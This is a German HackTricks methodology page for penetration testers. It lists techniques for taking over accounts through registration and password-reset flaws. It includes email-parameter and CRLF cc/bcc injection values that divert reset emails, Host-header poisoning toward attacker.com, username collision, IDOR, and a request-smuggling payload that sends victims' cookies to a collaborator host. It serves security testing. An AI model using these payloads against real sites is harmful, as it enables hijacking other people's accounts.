10 KiB
Registrierung & Übernahmeanfälligkeiten
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Registrierung Übernahme
Doppelte Registrierung
- Versuche, einen bestehenden Benutzernamen zu generieren
- Überprüfe verschiedene E-Mails:
- Großbuchstaben
- +1@
- füge einen Punkt in die E-Mail ein
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
- Setze schwarze Zeichen nach der E-Mail:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Benutzernamen Enumeration
Überprüfe, ob du herausfinden kannst, wann ein Benutzername bereits in der Anwendung registriert wurde.
Passwort-Richtlinie
Erstelle einen Benutzer und überprüfe die Passwort-Richtlinie (überprüfe, ob du schwache Passwörter verwenden kannst).
In diesem Fall kannst du versuchen, Anmeldeinformationen zu bruteforcen.
SQL-Injection
Überprüfe diese Seite , um zu lernen, wie man Konten übernimmt oder Informationen über SQL-Injection in Registrierungsformularen extrahiert.
Oauth Übernahmen
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML-Anfälligkeiten
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
E-Mail ändern
Wenn registriert, versuche, die E-Mail zu ändern und überprüfe, ob diese Änderung korrekt validiert wird oder ob du sie auf beliebige E-Mails ändern kannst.
Weitere Überprüfungen
- Überprüfe, ob du wegwerfbare E-Mails verwenden kannst
- Langes Passwort (>200) führt zu DoS
- Überprüfe die Ratenlimits bei der Kontoerstellung
- Verwende username@burp_collab.net und analysiere den Callback
Passwortzurücksetzungsübernahme
Passwortzurücksetzung Token-Leck über Referrer
- Fordere eine Passwortzurücksetzung an deine E-Mail-Adresse an
- Klicke auf den Link zur Passwortzurücksetzung
- Ändere das Passwort nicht
- Klicke auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
- Fange die Anfrage im Burp Suite Proxy ab
- Überprüfe, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
Passwortzurücksetzung Vergiftung
- Fange die Passwortzurücksetzungsanfrage in Burp Suite ab
- Füge die folgenden Header in Burp Suite hinzu oder bearbeite sie:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Leite die Anfrage mit dem modifizierten Header weiter
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Suche nach einer Passwortzurücksetzungs-URL basierend auf dem Host-Header wie:
https://attacker.com/reset-password.php?token=TOKEN
Passwortzurücksetzung über E-Mail-Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR bei API-Parametern
- Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion Passwort ändern gehen.
- Starten Sie die Burp Suite und fangen Sie die Anfrage ab.
- Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Schwaches Passwort-Zurücksetzen-Token
Das Passwort-Zurücksetzen-Token sollte zufällig generiert und jedes Mal einzigartig sein.
Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
- Zeitstempel
- Benutzer-ID
- E-Mail des Benutzers
- Vorname und Nachname
- Geburtsdatum
- Kryptographie
- Nur Zahlen
- Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
- Token-Wiederverwendung
- Ablaufdatum des Tokens
Leckendes Passwort-Zurücksetzen-Token
- Lösen Sie eine Passwort-Zurücksetzen-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
- Überprüfen Sie die Serverantwort und suchen Sie nach
resetToken
- Verwenden Sie dann das Token in einer URL wie
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Passwort-Zurücksetzen über Benutzernamen-Kollision
- Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.:
"admin "
- Fordern Sie ein Passwort-Zurücksetzen mit Ihrem böswilligen Benutzernamen an.
- Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
- Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
Die Plattform CTFd war anfällig für diesen Angriff.
Siehe: CVE-2020-7245
Kontoübernahme über Cross Site Scripting
- Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind:
*.domain.com
- Lecken Sie das aktuelle Sitzungscookie
- Authentifizieren Sie sich als der Benutzer mit dem Cookie
Kontoübernahme über HTTP Request Smuggling
1. Verwenden Sie smuggler, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, die POST / HTTP/1.1
mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X:
mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen
3. Die endgültige Anfrage könnte wie folgt aussehen
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone-Berichte, die diesen Fehler ausnutzen
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Kontoübernahme über CSRF
- Erstellen Sie ein Payload für das CSRF, z.B.: „HTML-Formular mit automatischer Übermittlung für eine Passwortänderung“
- Senden Sie das Payload
Kontoübernahme über JWT
JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
- Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
- Überprüfen Sie die schwache JWT-Signatur
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referenzen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.